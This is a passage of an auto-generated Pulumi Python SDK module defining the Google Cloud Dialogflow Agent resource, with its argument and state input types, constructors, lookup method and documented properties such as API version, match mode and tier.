return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: pulumi.Input[str]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> pulumi.Input[str]:
"""
The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
return pulumi.get(self, "time_zone")
@time_zone.setter
def time_zone(self, value: pulumi.Input[str]):
pulumi.set(self, "time_zone", value)
@property
@pulumi.getter(name="apiVersion")
def api_version(self) -> Optional[pulumi.Input[str]]:
"""
API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
"""
return pulumi.get(self, "api_version")
@api_version.setter
def api_version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "api_version", value)
@property
@pulumi.getter(name="avatarUri")
def avatar_uri(self) -> Optional[pulumi.Input[str]]:
"""
The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
"""
return pulumi.get(self, "avatar_uri")
@avatar_uri.setter
def avatar_uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "avatar_uri", value)
@property
@pulumi.getter(name="classificationThreshold")
def classification_threshold(self) -> Optional[pulumi.Input[float]]:
"""
To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
"""
return pulumi.get(self, "classification_threshold")
@classification_threshold.setter
def classification_threshold(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "classification_threshold", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="enableLogging")
def enable_logging(self) -> Optional[pulumi.Input[bool]]:
"""
Determines whether this agent should log conversation queries.
"""
return pulumi.get(self, "enable_logging")
@enable_logging.setter
def enable_logging(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_logging", value)
@property
@pulumi.getter(name="matchMode")
def match_mode(self) -> Optional[pulumi.Input[str]]:
"""
Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
"""
return pulumi.get(self, "match_mode")
@match_mode.setter
def match_mode(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "match_mode", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="supportedLanguageCodes")
def supported_language_codes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of all languages supported by this agent (except for the defaultLanguageCode).
"""
return pulumi.get(self, "supported_language_codes")
@supported_language_codes.setter
def supported_language_codes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "supported_language_codes", value)
@property
@pulumi.getter
def tier(self) -> Optional[pulumi.Input[str]]:
"""
The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
"""
return pulumi.get(self, "tier")
@tier.setter
def tier(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tier", value)
@pulumi.input_type
class _AgentState:
def __init__(__self__, *,
api_version: Optional[pulumi.Input[str]] = None,
avatar_uri: Optional[pulumi.Input[str]] = None,
avatar_uri_backend: Optional[pulumi.Input[str]] = None,
classification_threshold: Optional[pulumi.Input[float]] = None,
default_language_code: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
enable_logging: Optional[pulumi.Input[bool]] = None,
match_mode: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
supported_language_codes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
tier: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Agent resources.
:param pulumi.Input[str] api_version: API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
:param pulumi.Input[str] avatar_uri: The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
:param pulumi.Input[str] avatar_uri_backend: The URI of the agent's avatar as returned from the API. Output only. To provide an image URL for the agent avatar, the
[avatarUri] field can be used.
:param pulumi.Input[float] classification_threshold: To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
:param pulumi.Input[str] default_language_code: The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
:param pulumi.Input[str] description: The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
:param pulumi.Input[str] display_name: The name of this agent.
:param pulumi.Input[bool] enable_logging: Determines whether this agent should log conversation queries.
:param pulumi.Input[str] match_mode: Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[Sequence[pulumi.Input[str]]] supported_language_codes: The list of all languages supported by this agent (except for the defaultLanguageCode).
:param pulumi.Input[str] tier: The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
:param pulumi.Input[str] time_zone: The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
if api_version is not None:
pulumi.set(__self__, "api_version", api_version)
if avatar_uri is not None:
pulumi.set(__self__, "avatar_uri", avatar_uri)
if avatar_uri_backend is not None:
pulumi.set(__self__, "avatar_uri_backend", avatar_uri_backend)
if classification_threshold is not None:
pulumi.set(__self__, "classification_threshold", classification_threshold)
if default_language_code is not None:
pulumi.set(__self__, "default_language_code", default_language_code)
if description is not None:
pulumi.set(__self__, "description", description)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if enable_logging is not None:
pulumi.set(__self__, "enable_logging", enable_logging)
if match_mode is not None:
pulumi.set(__self__, "match_mode", match_mode)
if project is not None:
pulumi.set(__self__, "project", project)
if supported_language_codes is not None:
pulumi.set(__self__, "supported_language_codes", supported_language_codes)
if tier is not None:
pulumi.set(__self__, "tier", tier)
if time_zone is not None:
pulumi.set(__self__, "time_zone", time_zone)
@property
@pulumi.getter(name="apiVersion")
def api_version(self) -> Optional[pulumi.Input[str]]:
"""
API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
"""
return pulumi.get(self, "api_version")
@api_version.setter
def api_version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "api_version", value)
@property
@pulumi.getter(name="avatarUri")
def avatar_uri(self) -> Optional[pulumi.Input[str]]:
"""
The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
"""
return pulumi.get(self, "avatar_uri")
@avatar_uri.setter
def avatar_uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "avatar_uri", value)
@property
@pulumi.getter(name="avatarUriBackend")
def avatar_uri_backend(self) -> Optional[pulumi.Input[str]]:
"""
The URI of the agent's avatar as returned from the API. Output only. To provide an image URL for the agent avatar, the
[avatarUri] field can be used.
"""
return pulumi.get(self, "avatar_uri_backend")
@avatar_uri_backend.setter
def avatar_uri_backend(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "avatar_uri_backend", value)
@property
@pulumi.getter(name="classificationThreshold")
def classification_threshold(self) -> Optional[pulumi.Input[float]]:
"""
To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
"""
return pulumi.get(self, "classification_threshold")
@classification_threshold.setter
def classification_threshold(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "classification_threshold", value)
@property
@pulumi.getter(name="defaultLanguageCode")
def default_language_code(self) -> Optional[pulumi.Input[str]]:
"""
The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
"""
return pulumi.get(self, "default_language_code")
@default_language_code.setter
def default_language_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "default_language_code", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of this agent.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="enableLogging")
def enable_logging(self) -> Optional[pulumi.Input[bool]]:
"""
Determines whether this agent should log conversation queries.
"""
return pulumi.get(self, "enable_logging")
@enable_logging.setter
def enable_logging(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_logging", value)
@property
@pulumi.getter(name="matchMode")
def match_mode(self) -> Optional[pulumi.Input[str]]:
"""
Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
"""
return pulumi.get(self, "match_mode")
@match_mode.setter
def match_mode(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "match_mode", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="supportedLanguageCodes")
def supported_language_codes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of all languages supported by this agent (except for the defaultLanguageCode).
"""
return pulumi.get(self, "supported_language_codes")
@supported_language_codes.setter
def supported_language_codes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "supported_language_codes", value)
@property
@pulumi.getter
def tier(self) -> Optional[pulumi.Input[str]]:
"""
The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
"""
return pulumi.get(self, "tier")
@tier.setter
def tier(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tier", value)
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> Optional[pulumi.Input[str]]:
"""
The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
return pulumi.get(self, "time_zone")
@time_zone.setter
def time_zone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_zone", value)
class Agent(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
api_version: Optional[pulumi.Input[str]] = None,
avatar_uri: Optional[pulumi.Input[str]] = None,
classification_threshold: Optional[pulumi.Input[float]] = None,
default_language_code: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
enable_logging: Optional[pulumi.Input[bool]] = None,
match_mode: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
supported_language_codes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
tier: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
A Dialogflow agent is a virtual agent that handles conversations with your end-users. It is a natural language
understanding module that understands the nuances of human language. Dialogflow translates end-user text or audio
during a conversation to structured data that your apps and services can understand. You design and build a Dialogflow
agent to handle the types of conversations required for your system.
To get more information about Agent, see:
* [API documentation](https://cloud.google.com/dialogflow/docs/reference/rest/v2/projects/agent)
* How-to Guides
* [Official Documentation](https://cloud.google.com/dialogflow/docs/)
## Example Usage
### Dialogflow Agent Full
```python
import pulumi
import pulumi_gcp as gcp
full_agent = gcp.diagflow.Agent("fullAgent",
api_version="API_VERSION_V2_BETA_1",
avatar_uri="https://cloud.google.com/_static/images/cloud/icons/favicons/onecloud/super_cloud.png",
classification_threshold=0.3,
default_language_code="en",
description="Example description.",
display_name="dialogflow-agent",
enable_logging=True,
match_mode="MATCH_MODE_ML_ONLY",
supported_language_codes=[
"fr",
"de",
"es",
],
tier="TIER_STANDARD",
time_zone="America/New_York")
```
## Import
Agent can be imported using any of these accepted formats
```sh
$ pulumi import gcp:diagflow/agent:Agent default {{project}}
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] api_version: API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
:param pulumi.Input[str] avatar_uri: The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
:param pulumi.Input[float] classification_threshold: To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
:param pulumi.Input[str] default_language_code: The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
:param pulumi.Input[str] description: The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
:param pulumi.Input[str] display_name: The name of this agent.
:param pulumi.Input[bool] enable_logging: Determines whether this agent should log conversation queries.
:param pulumi.Input[str] match_mode: Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[Sequence[pulumi.Input[str]]] supported_language_codes: The list of all languages supported by this agent (except for the defaultLanguageCode).
:param pulumi.Input[str] tier: The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
:param pulumi.Input[str] time_zone: The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: AgentArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
A Dialogflow agent is a virtual agent that handles conversations with your end-users. It is a natural language
understanding module that understands the nuances of human language. Dialogflow translates end-user text or audio
during a conversation to structured data that your apps and services can understand. You design and build a Dialogflow
agent to handle the types of conversations required for your system.
To get more information about Agent, see:
* [API documentation](https://cloud.google.com/dialogflow/docs/reference/rest/v2/projects/agent)
* How-to Guides
* [Official Documentation](https://cloud.google.com/dialogflow/docs/)
## Example Usage
### Dialogflow Agent Full
```python
import pulumi
import pulumi_gcp as gcp
full_agent = gcp.diagflow.Agent("fullAgent",
api_version="API_VERSION_V2_BETA_1",
avatar_uri="https://cloud.google.com/_static/images/cloud/icons/favicons/onecloud/super_cloud.png",
classification_threshold=0.3,
default_language_code="en",
description="Example description.",
display_name="dialogflow-agent",
enable_logging=True,
match_mode="MATCH_MODE_ML_ONLY",
supported_language_codes=[
"fr",
"de",
"es",
],
tier="TIER_STANDARD",
time_zone="America/New_York")
```
## Import
Agent can be imported using any of these accepted formats
```sh
$ pulumi import gcp:diagflow/agent:Agent default {{project}}
```
:param str resource_name: The name of the resource.
:param AgentArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(AgentArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
api_version: Optional[pulumi.Input[str]] = None,
avatar_uri: Optional[pulumi.Input[str]] = None,
classification_threshold: Optional[pulumi.Input[float]] = None,
default_language_code: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
enable_logging: Optional[pulumi.Input[bool]] = None,
match_mode: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
supported_language_codes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
tier: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = AgentArgs.__new__(AgentArgs)
__props__.__dict__["api_version"] = api_version
__props__.__dict__["avatar_uri"] = avatar_uri
__props__.__dict__["classification_threshold"] = classification_threshold
if default_language_code is None and not opts.urn:
raise TypeError("Missing required property 'default_language_code'")
__props__.__dict__["default_language_code"] = default_language_code
__props__.__dict__["description"] = description
if display_name is None and not opts.urn:
raise TypeError("Missing required property 'display_name'")
__props__.__dict__["display_name"] = display_name
__props__.__dict__["enable_logging"] = enable_logging
__props__.__dict__["match_mode"] = match_mode
__props__.__dict__["project"] = project
__props__.__dict__["supported_language_codes"] = supported_language_codes
__props__.__dict__["tier"] = tier
if time_zone is None and not opts.urn:
raise TypeError("Missing required property 'time_zone'")
__props__.__dict__["time_zone"] = time_zone
__props__.__dict__["avatar_uri_backend"] = None
super(Agent, __self__).__init__(
'gcp:diagflow/agent:Agent',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
api_version: Optional[pulumi.Input[str]] = None,
avatar_uri: Optional[pulumi.Input[str]] = None,
avatar_uri_backend: Optional[pulumi.Input[str]] = None,
classification_threshold: Optional[pulumi.Input[float]] = None,
default_language_code: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
enable_logging: Optional[pulumi.Input[bool]] = None,
match_mode: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
supported_language_codes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
tier: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None) -> 'Agent':
"""
Get an existing Agent resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] api_version: API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
:param pulumi.Input[str] avatar_uri: The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
:param pulumi.Input[str] avatar_uri_backend: The URI of the agent's avatar as returned from the API. Output only. To provide an image URL for the agent avatar, the
[avatarUri] field can be used.
:param pulumi.Input[float] classification_threshold: To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
:param pulumi.Input[str] default_language_code: The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
:param pulumi.Input[str] description: The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
:param pulumi.Input[str] display_name: The name of this agent.
:param pulumi.Input[bool] enable_logging: Determines whether this agent should log conversation queries.
:param pulumi.Input[str] match_mode: Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[Sequence[pulumi.Input[str]]] supported_language_codes: The list of all languages supported by this agent (except for the defaultLanguageCode).
:param pulumi.Input[str] tier: The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
:param pulumi.Input[str] time_zone: The time zone of this agent from the [time zone database](https://www.iana.org/time-zones), e.g., America/New_York,
Europe/Paris.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _AgentState.__new__(_AgentState)
__props__.__dict__["api_version"] = api_version
__props__.__dict__["avatar_uri"] = avatar_uri
__props__.__dict__["avatar_uri_backend"] = avatar_uri_backend
__props__.__dict__["classification_threshold"] = classification_threshold
__props__.__dict__["default_language_code"] = default_language_code
__props__.__dict__["description"] = description
__props__.__dict__["display_name"] = display_name
__props__.__dict__["enable_logging"] = enable_logging
__props__.__dict__["match_mode"] = match_mode
__props__.__dict__["project"] = project
__props__.__dict__["supported_language_codes"] = supported_language_codes
__props__.__dict__["tier"] = tier
__props__.__dict__["time_zone"] = time_zone
return Agent(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="apiVersion")
def api_version(self) -> pulumi.Output[str]:
"""
API version displayed in Dialogflow console. If not specified, V2 API is assumed. Clients are free to query
different service endpoints for different API versions. However, bots connectors and webhook calls will follow
the specified API version.
* API_VERSION_V1: Legacy V1 API.
* API_VERSION_V2: V2 API.
* API_VERSION_V2_BETA_1: V2beta1 API.
Possible values are `API_VERSION_V1`, `API_VERSION_V2`, and `API_VERSION_V2_BETA_1`.
"""
return pulumi.get(self, "api_version")
@property
@pulumi.getter(name="avatarUri")
def avatar_uri(self) -> pulumi.Output[Optional[str]]:
"""
The URI of the agent's avatar, which are used throughout the Dialogflow console. When an image URL is entered
into this field, the Dialogflow will save the image in the backend. The address of the backend image returned
from the API will be shown in the [avatarUriBackend] field.
"""
return pulumi.get(self, "avatar_uri")
@property
@pulumi.getter(name="avatarUriBackend")
def avatar_uri_backend(self) -> pulumi.Output[str]:
"""
The URI of the agent's avatar as returned from the API. Output only. To provide an image URL for the agent avatar, the
[avatarUri] field can be used.
"""
return pulumi.get(self, "avatar_uri_backend")
@property
@pulumi.getter(name="classificationThreshold")
def classification_threshold(self) -> pulumi.Output[Optional[float]]:
"""
To filter out false positive results and still get variety in matched natural language inputs for your agent,
you can tune the machine learning classification threshold. If the returned score value is less than the threshold
value, then a fallback intent will be triggered or, if there are no fallback intents defined, no intent will be
triggered. The score values range from 0.0 (completely uncertain) to 1.0 (completely certain). If set to 0.0, the
default of 0.3 is used.
"""
return pulumi.get(self, "classification_threshold")
@property
@pulumi.getter(name="defaultLanguageCode")
def default_language_code(self) -> pulumi.Output[str]:
"""
The default language of the agent as a language tag. [See Language Support](https://cloud.google.com/dialogflow/docs/reference/language)
for a list of the currently supported language codes. This field cannot be updated after creation.
"""
return pulumi.get(self, "default_language_code")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
The description of this agent. The maximum length is 500 characters. If exceeded, the request is rejected.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
The name of this agent.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter(name="enableLogging")
def enable_logging(self) -> pulumi.Output[Optional[bool]]:
"""
Determines whether this agent should log conversation queries.
"""
return pulumi.get(self, "enable_logging")
@property
@pulumi.getter(name="matchMode")
def match_mode(self) -> pulumi.Output[str]:
"""
Determines how intents are detected from user queries.
* MATCH_MODE_HYBRID: Best for agents with a small number of examples in intents and/or wide use of templates
syntax and composite entities.
* MATCH_MODE_ML_ONLY: Can be used for agents with a large number of examples in intents, especially the ones
using @sys.any or very large developer entities.
Possible values are `MATCH_MODE_HYBRID` and `MATCH_MODE_ML_ONLY`.
"""
return pulumi.get(self, "match_mode")
@property
@pulumi.getter
def project(self) -> pulumi.Output[str]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="supportedLanguageCodes")
def supported_language_codes(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
The list of all languages supported by this agent (except for the defaultLanguageCode).
"""
return pulumi.get(self, "supported_language_codes")
@property
@pulumi.getter
def tier(self) -> pulumi.Output[Optional[str]]:
"""
The agent tier. If not specified, TIER_STANDARD is assumed.
* TIER_STANDARD: Standard tier.
* TIER_ENTERPRISE: Enterprise tier (Essentials).
* TIER_ENTERPRISE_PLUS: Enterprise tier (Plus).
NOTE: Due to consistency issues, the provider will not read this field from the API. Drift is possible between
the the provider state and Dialogflow if the agent tier is changed outside of the provider.
"""
return pulumi.get(self, "tier")
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> pulumi.Output[str]:
"""
